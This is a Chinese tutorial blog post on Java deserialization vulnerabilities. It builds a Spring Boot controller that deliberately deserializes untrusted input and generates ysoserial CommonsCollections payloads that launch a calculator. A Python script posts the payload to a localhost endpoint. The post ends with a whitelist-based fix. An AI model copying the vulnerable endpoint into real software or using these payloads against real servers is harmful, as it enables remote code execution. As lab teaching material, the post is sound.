搭环境
每次搭环境总是能遇到千奇百怪的问题,真是服了。
1、下载springboot demo,当然,IDEA直接创建spring boot也可以,参见我前期教程,不要搞太新的,依赖包会出问题:
2、解压,使用idea打开,idea需要配置mvn的国内源,查看setting.xml的存放路径
然后在相应路径创建setting.xml,有则覆盖,配置如下:
<settings xmlns="http://maven.apache.org/SETTINGS/1.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0
http://maven.apache.org/xsd/settings-1.0.0.xsd">
<localRepository/>
<interactiveMode/>
<usePluginRegistry/>
<offline/>
<pluginGroups/>
<servers/>
<mirrors>
<mirror>
<id>aliyunmaven</id>
<mirrorOf>central</mirrorOf>
<name>aliyunpublice</name>
<url>https://maven.aliyun.com/repository/central</url>
</mirror>
<mirror>
<id>repo1</id>
<mirrorOf>central</mirrorOf>
<name>central repo</name>
<url>http://repo1.maven.org/maven2/</url>
</mirror>
<mirror>
<id>aliyunmaven</id>
<mirrorOf>apache snapshots</mirrorOf>
<name>aliyunapache</name>
<url>https://maven.aliyun.com/repository/apache-snapshots</url>
</mirror>
</mirrors>
<proxies/>
<activeProfiles/>
<profiles>
<profile>
<repositories>
<repository>
<id>aliyunmaven</id>
<name>aliyunmaven</name>
<url>https://maven.aliyun.com/repository/public</url>
<layout>default</layout>
<releases>
<enabled>true</enabled>
</releases>
<snapshots>
<enabled>true</enabled>
</snapshots>
</repository>
<repository>
<id>MavenCentral</id>
<url>http://repo1.maven.org/maven2/</url>
</repository>
<repository>
<id>aliyunmavenApache</id>
<url>https://maven.aliyun.com/repository/apache-snapshots</url>
</repository>
</repositories>
</profile>
</profiles>
</settings>
3、项目搭建
创建一个SerializeController:
内容如下,第一个执行本地反序列化文件,第二个函数执行远程反序列化流:
// by 5wimming
package com.wimming.springproject;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpServletRequest;
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.ArrayList;
@RestController
@RequestMapping("/ser")
public class SerializeController {
@RequestMapping("/loc")
public String byLoc() throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream("/Users/all/program/tools/ysoserial/poc.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
ois.close();
return "loc success";
}
@RequestMapping(value = "/byte", method = RequestMethod.POST)
public String byByte(HttpServletRequest request) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
ois.readObject();
ois.close();
return "loc success";
}
}
其中poc.ser,使用如下命令生成
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "open /System/Applications/Calculator.app" >poc.ser //mac
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "calc.exe" >poc.ser //windows
yso下载:
链接: https://pan.baidu.com/s/1lN2ngR5BxWJ6h89wd7Fxuw 密码: emvf
怼它
启动idea
访问http://127.0.0.1:8080/ser/loc,发现弹出了计算器
也可以直接发送字节流,这里使用python,直接从内存中读取payload,防止编码问题:
# by 5wimming
import requests
import subprocess
import time
def yso_input_stream():
target = "http://127.0.0.1:8080/ser/byte"
p = subprocess.Popen(
'java -jar /Users/all/program/tools/ysoserial/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 \"open /System/Applications/Calculator.app\"',
shell=True, stdout=subprocess.PIPE)
out, err = p.communicate()
r = requests.post(target, data=out)
print(r.text)
if __name__ == '__main__':
yso_input_stream()
上面python脚本建议收藏,能帮你避开很多编码的坑。
修复
修复方法很多,这里举一个白名单的修复方法,直观简单,还能看看反序列化链。
创建一个CheckObjectInputStreamUtils类,用于检测反序列化过程中用到的类:
// by 5wimming
package com.wimming.springproject;
import java.io.*;
import java.util.Collection;
import java.util.HashSet;
public class CheckObjectInputStreamUtils extends ObjectInputStream {
private HashSet<String> classes = new HashSet<>();
public CheckObjectInputStreamUtils(BufferedInputStream in) throws IOException {
super(in);
}
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String name = desc.getName();
if(!isSafeClass(name)){
System.out.println("classNames not illegal. {}, classNames are {}".format(name, classes));
throw new ClassNotFoundException();
}
return super.resolveClass(desc);
}
public void addSafeClass(Collection<String> names){
classes.addAll(names);
}
private boolean isSafeClass(String name){
return classes.contains(name);
}
}
在SerializeController中新建一个方法loc1,并且将String类加入白名单,修改后记得重启idea:
// by 5wimming
package com.wimming.springproject;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpServletRequest;
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.ArrayList;
@RestController
@RequestMapping("/ser")
public class SerializeController {
@RequestMapping("/loc")
public String byLoc() throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream("/Users/rym/all/program/tools/ysoserial/poc.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
ois.close();
return "loc success";
}
@RequestMapping("/loc1")
public String byLoc1() throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream("/Users/rym/all/program/tools/ysoserial/poc.ser");
CheckObjectInputStreamUtils objectInputStream = new CheckObjectInputStreamUtils(new BufferedInputStream(fis));
ArrayList<String> classNames = new ArrayList<>();
classNames.add("java.lang.String");
// classNames.add("javax.management.BadAttributeValueExpException");
// classNames.add("java.lang.Exception");
// classNames.add("java.lang.Throwable");
// classNames.add("[Ljava.lang.StackTraceElement;");
// classNames.add("java.lang.StackTraceElement");
// classNames.add("java.util.Collections$UnmodifiableList");
// classNames.add("java.util.Collections$UnmodifiableCollection");
// classNames.add("java.util.ArrayList");
// classNames.add("org.apache.commons.collections.keyvalue.TiedMapEntry");
// classNames.add("org.apache.commons.collections.map.LazyMap");
// classNames.add("org.apache.commons.collections.functors.ChainedTransformer");
// classNames.add("[Lorg.apache.commons.collections.Transformer;");
// classNames.add("org.apache.commons.collections.functors.ConstantTransformer");
// classNames.add("java.lang.Runtime");
// classNames.add("org.apache.commons.collections.functors.InvokerTransformer");
// classNames.add("[Ljava.lang.Object;");
// classNames.add("[Ljava.lang.Class;");
// classNames.add("java.lang.Object");
// classNames.add("[Ljava.lang.String;");
// classNames.add("java.lang.Integer");
// classNames.add("java.lang.Number");
// classNames.add("java.util.HashMap");
objectInputStream.addSafeClass(classNames);
objectInputStream.readObject();
objectInputStream.close();
return "loc success";
}
@RequestMapping(value = "/byte", method = RequestMethod.POST)
public String byByte(HttpServletRequest request) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
ois.readObject();
ois.close();
return "loc success";
}
}
然后再访问链接http://127.0.0.1:8080/ser/loc1,发现报错
看看idea控制台,发现拦截了很多”恶意类“:
把这些类加入白名单,也就是将函数byLoc1中的注释取消掉,再访问链接http://127.0.0.1:8080/ser/loc1
发现胡汉三又回来了。
当然,白名单的方法也有个缺陷,万一你把带有命令执行的类(或者通过该类作为跳板,可以调用其他可以导致命令执行的类)加进去了,那就game over了,不过如果是自己写的类,黑盒测试是很难发现的。